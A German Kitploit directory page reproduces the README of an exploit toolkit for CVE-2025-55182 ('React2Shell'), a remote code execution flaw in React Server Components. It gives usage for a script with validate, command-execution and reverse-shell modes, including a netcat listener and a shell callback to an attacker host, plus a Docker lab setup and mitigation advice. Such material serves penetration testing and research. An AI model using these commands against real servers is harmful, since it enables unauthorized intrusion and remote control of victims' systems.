Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-55182 — Ein einfaches Toolkit zur Überprüfung, Ausnutzung und Erlangung einer interaktiven Shell über die react2Shell Next.js RCE. | Kitploit
Tools/GitHubGitHub/j4ck3lsyn-gen2/cve-2025-55182
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlLernen & BildungRemote-Access-ToolPayload-Entwicklung
GitHubj4ck3lsyn-gen2/cve-2025-55182

CVE-2025-55182

Ein einfaches Toolkit zur Überprüfung, Ausnutzung und Erlangung einer interaktiven Shell über die react2Shell Next.js RCE.

Repository anzeigen
vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-55182: React2Shell - Toolkit für Remote-Codeausführung in Next.js

CVE-2025-55182 CVSS License

[!WARNING] Dieses Werkzeug wird nur für autorisierte Tests und Bildungszwecke bereitgestellt. Unautorisierter Netzwerkzugriff und Datenextraktion sind illegal. Die Benutzer sind dafür verantwortlich, dass sie vor der Nutzung dieses Werkzeugs in einem Netzwerk die entsprechende Autorisierung haben.

Übersicht

Dieses Repository enthält ein einfaches Toolkit zum Validieren, Ausnutzen und Erlangen einer interaktiven Shell über CVE-2025-55182, auch bekannt als React2Shell. Es handelt sich um eine kritische Remote-Codeausführungsschwachstelle (RCE) ohne Authentifizierung in React Server Components (RSC), die die Versionen 19.0.0, 19.1.0, 19.1.1 und 19.2.0 betrifft.

Die Schwachstelle beruht auf unsicherer Deserialisierung im Flight-Protokoll von React, die es nicht authentifizierten Angreifern ermöglicht, beliebigen Code auf anfälligen Servern auszuführen. Sie wurde am 3. Dezember 2025 offengelegt und hat einen CVSS-Score von 10,0 (Kritisch). Obwohl sie hauptsächlich React Server Components betrifft, hat sie Auswirkungen auf Frameworks wie Next.js, die RSC verwenden.

Hinweis: Dieses Toolkit ist nur für Bildungs- und Forschungszwecke bestimmt. Die unbefugte Ausnutzung von Schwachstellen ist illegal und unethisch. Verwenden Sie es verantwortungsbewusst und nur auf Systemen, die Ihnen gehören oder für deren Test Sie ausdrückliche Erlaubnis haben.

Betroffene Komponenten

  • React Server Components: Versionen 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Verwandte Frameworks: Next.js (möglicherweise über CVE-2025-66478 in einigen Kontexten)
  • Ausnutzungsvektor: Unsichere Deserialisierung in RSC-Payloads, die RCE ohne Authentifizierung ermöglicht.

Weitere Details finden Sie in den offiziellen Advisories:

  • NVD CVE-2025-55182
  • React Security Advisory
  • Wiz Blog on React2Shell

Verwendung


Funktionen

  • Validierung: Prüfen, ob ein Ziel für CVE-2025-55182 anfällig ist.
  • Ausnutzung: Erstellen von Payloads zur Ausführung beliebiger Befehle.
  • Interaktive Shell: Erhalten einer Reverse-Shell für dauerhaften Zugriff.
  • Unterstützt Python 3.x mit minimalen Abhängigkeiten.

Anforderungen

  • Python 3.8+
  • Erforderliche Bibliotheken: requests, argparse (Installation über pip install -r requirements.txt)

Installation

Venv-Installation

  1. Repository klonen
root@kitploit:~
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
  1. Virtuelle Umgebung
root@kitploit:~
python3 -m venv CVE202555182Venv
python3 -m pip install -r requirements.txt
  1. Aktivieren
root@kitploit:~
source CVE202555182Venv/bin/activate[.fish]

Lokale Installation

  1. Klonen Sie das Repository:
    root@kitploit:~
    git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
    cd CVE-2025-55182
    
  2. Installieren Sie die Abhängigkeiten:
    root@kitploit:~
    pip install -r requirements.txt
    

Verwendung

Das Hauptskript ist sploit.py. Führen Sie es mit den folgenden Optionen aus:

root@kitploit:~
python sploit.py --help

Optionen

  • --target <URL>: Die Ziel-URL (z. B. http://vulnerable-site.com).
  • --mode <validate|sploit|shell>: Betriebsmodus.
    • validate: Schwachstelle prüfen ohne Ausnutzung.
    • sploit: Einen benutzerdefinierten Befehl ausführen.
    • shell: Eine interaktive Reverse-Shell einrichten.
  • --command <CMD>: Auszuführender Befehl (erforderlich für den Modus sploit).
  • --lhost <IP>: Lokaler Host für die Reverse-Shell (erforderlich für den Modus shell).
  • --lport <PORT>: Lokaler Port für die Reverse-Shell (Standard: 4444).

Beispiele

  1. Schwachstelle validieren:

    root@kitploit:~
    python sploit.py --target http://example.com --mode validate
    
  2. Ausnutzung mit Befehlsausführung:

    root@kitploit:~
    python sploit.py --target http://example.com --mode sploit --command "whoami"
    
  3. Interaktive Shell erlangen: Richten Sie zuerst einen Listener ein (z. B. nc -lvnp 4444), dann:

    root@kitploit:~
    python sploit.py --target http://example.com --mode shell --lhost 192.168.1.100 --lport 4444
    

Funktionsweise

  1. Schwachstellenerkennung: Sendet einen speziell präparierten RSC-Payload, um Deserialisierungsfehler zu erkennen.
  2. Payload-Erstellung: Nutzt unsichere Deserialisierung, um Code über das Flight-Protokoll von React einzuschleusen.
  3. Shell-Zugriff: Eskaliert zu einer Reverse-Shell, indem ein Payload ausgeführt wird, der eine Verbindung zum Rechner des Angreifers herstellt.

Für technische Tiefgang:

  • Datadog Security Labs Analysis
  • Dynatrace Blog

Ausführungsbeispiel


Docker-Installation

root@kitploit:~

{
  "dependencies": {
    "next": "14.3.0-canary.77",
    "react": "19.0.0",
    "react-dom": "19.0.0"
  },
  "scripts": {
    "dev": "next dev",
    "build": "next build",
    "start": "next start"
  }
}

tsconfig.json vollständig löschen (dies war der Schlüssel, der den Build zerstörte)

root@kitploit:~

rm tsconfig.json

Erstellen der minimal erforderlichen App Router-Dateien

root@kitploit:~

mkdir -p app

# app/layout.tsx
cat > app/layout.tsx << 'EOF'
import "./globals.css";

export default function RootLayout({
  children,
}: {
  children: React.ReactNode;
}) {
  return (
    <html lang="en">
      <body>{children}</body>
    </html>
  );
}

app/globals.css (kann im Grunde leer sein)

root@kitploit:~
echo "/* minimal css - required by Next.js */" > app/globals.css

app/page.tsx (Ihre echte anfällige Seite kommt hier hin – Beispiel-Stub)

root@kitploit:~
cat > app/page.tsx << 'EOF'
export default function Home() {
  return (
    <main>
      <h1>react2shell lab is running!</h1>
      <p>Start sploiting → /api/vulnerable-endpoint</p>
    </main>
  );
}

Erstellen des endgültigen, bombensicheren Dockerfiles (exakter Inhalt)

root@kitploit:~

FROM node:20-alpine

WORKDIR /app

# Copy only package files first (better caching)
COPY package*.json ./

# Install dependencies with legacy peer deps (required for this old canary)
RUN npm install --legacy-peer-deps

# Copy the rest of the app
COPY . .

# Remove tsconfig.json so Next.js doesn't try to auto-install TypeScript (this was the killer)
RUN rm -f tsconfig.json

# Build the Next.js app
RUN npm run build

# Expose port
EXPOSE 3000

# Start the app
CMD ["npm", "start"]

Bauen und ausführen (diese Befehle funktionieren jetzt perfekt)

root@kitploit:~

docker build -t react2shell .
docker run -d -p 3000:3000 --name react2shell react2shell

Im Browser öffnen

→ http://localhost:3000

Sie sind fertig. Der Container startet in <2 Sekunden und ist bereit für Prototype-Pollution → RCE-Ketten.

Optionaler Einzeiler zum jederzeitigen Löschen und Neustarten: bash

root@kitploit:~
docker rm -f react2shell && docker run -d -p 3000:3000 --name react2shell react2shell

Gegenmaßnahmen

  • Aktualisieren Sie React auf Version 19.2.1 oder höher.
  • Deaktivieren oder beschränken Sie React Server Components, wenn nicht benötigt.
  • Überwachen Sie auf Ausnutzungsversuche, da staatlich geförderte Akteure (z. B. China-nexus-Gruppen) beobachtet wurden, die diese CVE schnell ausnutzen.

Siehe AWS Security Blog für Bedrohungsinformationen.

Haftungsausschluss

Dieses Werkzeug wird "wie besehen" ohne Gewährleistung bereitgestellt. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Toolkit verursacht werden. Holen Sie immer eine Genehmigung ein, bevor Sie Schwachstellen testen.

Mitwirken

Pull-Requests sind willkommen! Bei größeren Änderungen eröffnen Sie bitte zuerst ein Issue.

Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert - siehe die Datei LICENSE für Details.

Referenzen

  • Cisco Advisory
  • Palo Alto Unit 42 Report
  • CMU ISO News
  • Cloudflare Blog
  • Huntress Blog
  • JFrog Blog
  • Elastic Security
Your Image Badge
Tool herunterladen